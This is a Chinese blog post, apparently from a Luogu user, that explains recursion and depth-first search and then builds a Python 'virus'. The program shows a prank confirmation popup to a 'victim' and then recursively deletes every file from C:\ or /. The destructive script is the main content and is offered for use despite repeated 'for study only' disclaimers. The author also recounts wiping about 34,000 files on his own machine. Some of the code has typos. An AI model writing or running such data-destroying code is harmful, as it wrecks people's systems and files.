前言.
也许你是随便搜搜到的,也许你是从我的洛谷主页找过来的,如果你是从主页找过来的,这篇文章的作者(我)的名字是我在洛谷的旧名字
这个程序不能算病毒(在大佬的眼里就是渣渣)
病毒的定义是:能繁衍,能潜伏,能破坏
今天的病毒只能“破坏”
不能用这个病毒整蛊别人,此文章仅供学习!!!
不能用这个病毒整蛊别人,此文章仅供学习!!!
不能用这个病毒整蛊别人,此文章仅供学习!!!
(重要的事情说三遍)
正文.
作用.
这个病毒就只能删除文件,但是要是把这个病毒放在linux上就是致命的(Windows没试过)
为什么致命呢?运维人员有句老话:“在linux下一切都是文件”
也就是说修改linux的个性配置就是以另一种方式修改文件
如果文件没了呢?整个系统都会以严重的程度呈现出不同的情况(严重的只能重装,本人的亲身经历写在最后)
导入.
不知道你有没有学过“递归”,意思是一个函数自己调用自己,每一次调用都有一次操作,具体见下:
def recursion(ans):
if ans == 1:
return 1;
return ans + recursion(ans - 1)
如果传递的参数是3,它的运行过程是这样的:
第一次进入函数,参数是3
判断结果为假
返回3+传递参数3-1到recursion函数的返回值
第二次进入函数,参数是2
判断结果为假
返回2+传递参数2-1到recursion函数的返回值
第三次进入函数,参数是1
判断结果为真
返回1并退出
返回2+1=3
返回3+3=6
最后结果就是6,可以发现这个函数返回值就是从1加到n
一种新算法就此诞生——深度优先搜索,简称dfs
一种典型的例子就是走迷宫
假设一种迷宫是这样的:
_###
_#__
___#
##__
dfs要从左上角开始走,判断此迷宫能否走到右下角,函数要接受两个参数x,y(坐标)
函数主体(伪代码):
接收x,y:
如果x或y超界(x<1或x>4或y<1或y>4)
退出不返回值
如果到了右下角
输出可以
退出不返回值
调用自己,参数是x+1,y
调用自己,参数是x-1,y
调用自己,参数是x,y+1
调用自己,参数是x,y-1
(就是枚举四个方向)
思路.
我们可以创造一个函数,这个函数接受一个字符串类型的路径,然后获取此路径的文件列表并遍历,然后判断是不是目录,如果是就继续调用自己,不是就删除,遍历完后当前目录肯定是空的,然后就删除当前目录(有些文件可能因为权限问题删不了)
需用到的部分功能.
1.弹窗
作为一个善良的开发者,我们可以注重一下界面,让程序蹦一个弹窗给受害者,如过受害者点了确认,后果可想而知。
那怎么蹦出一个可选择的弹窗呢?
python里有一个库:tkinter
这个库有一个用于弹窗的东西叫tkinter.messagebox
导入:
import tkinter.messagebox as tk(本人喜欢用简写)
然后这个库有这几种常用的函数
1.showwarning,显示警告
tk.showwarning('标题', '内容')
这句话可以显示一个标题为‘标题’,内容为‘内容’的弹窗
2.showerror,显示错误
tk.showerror('标题', '内容')
这句话跟上一句差不多,就是显示出的图标不一样
3.askyesno,选择是或否
tk.askyesno
这句会显示两个按键:yes,no
按yes会返回True,no会返回False
2.删除和列出
这要用到一个os库,这库的功能还挺多的,如下:
os.system("")执行系统命令(命令写在双引号,双引号和内容也可以用变量代替)
os.popen("").read()和上一句功能一样,但这句能获取执行结果,自己去试试吧
os.name("")返回操作系统类型,linux返回'posix',windows返回'nt'
os.listdir("")列出指定目录下的文件
os.remove("")删除指定文件,任意类型,但不能是目录
os.removedirs("")删除指定目录,必须是空目录
代码.
""" 首先引入需要的库 """
import os
import tkinter.message as tk
#建立dfs函数并接收路径
def dfs(lu):
#获取路径下所有包括隐藏文件
f = os.listdir(lu)
#遍历
for i in f:
#连接文件和传入的路径
luj = lu + i
#try判断
try:
#判断系统
if os.name == 'nt':
ff = os.listdir(luj + '\\')
dfs(luj + '\\')
else:
ff = os.listdir(luj + '/')
dfs(luj + '/')
#如果成功,说明这是目录,继续遍历
except:
os.remove(luj)
#删除
os.removedirs(lu)
#删除
#弹窗并确认,此段可删除
if tk.askyesno('警告', '是否运行?'):
tk.showerroe('错误', '你完了,后会有期')
#判断系统并递归删除
if os.name == 'nt':
dfs('C:\\')
else:
dfs('/')
写在最后,本人的亲身经历
我想在测试机上运行的,可是测试机网络太差,文件传不了,想着建几个测试文件夹,结果因为忘记改目录,运行时它是从根目录开始删除(我是linux系统,当时用的还是root)
仅仅运行了2秒,我发现不对劲后停止了程序,删掉了3万4千多文件,整个系统基本用不得了,网络也没法访问,大多数命令用不了,什么浏览器、终端都打不开,然后我才想起来我自己做了一个用来传文本的python程序,不过现在想起来也没什么用了,我只能把一些我自己做的比较大的程序打开并发送,然后重装系统才完事。
如果你要运行,千万千万要新创建几个测试文件,然后修改路径
再次提示:
此文章仅供学习!!!
此文章仅供学习!!!
此文章仅供学习!!!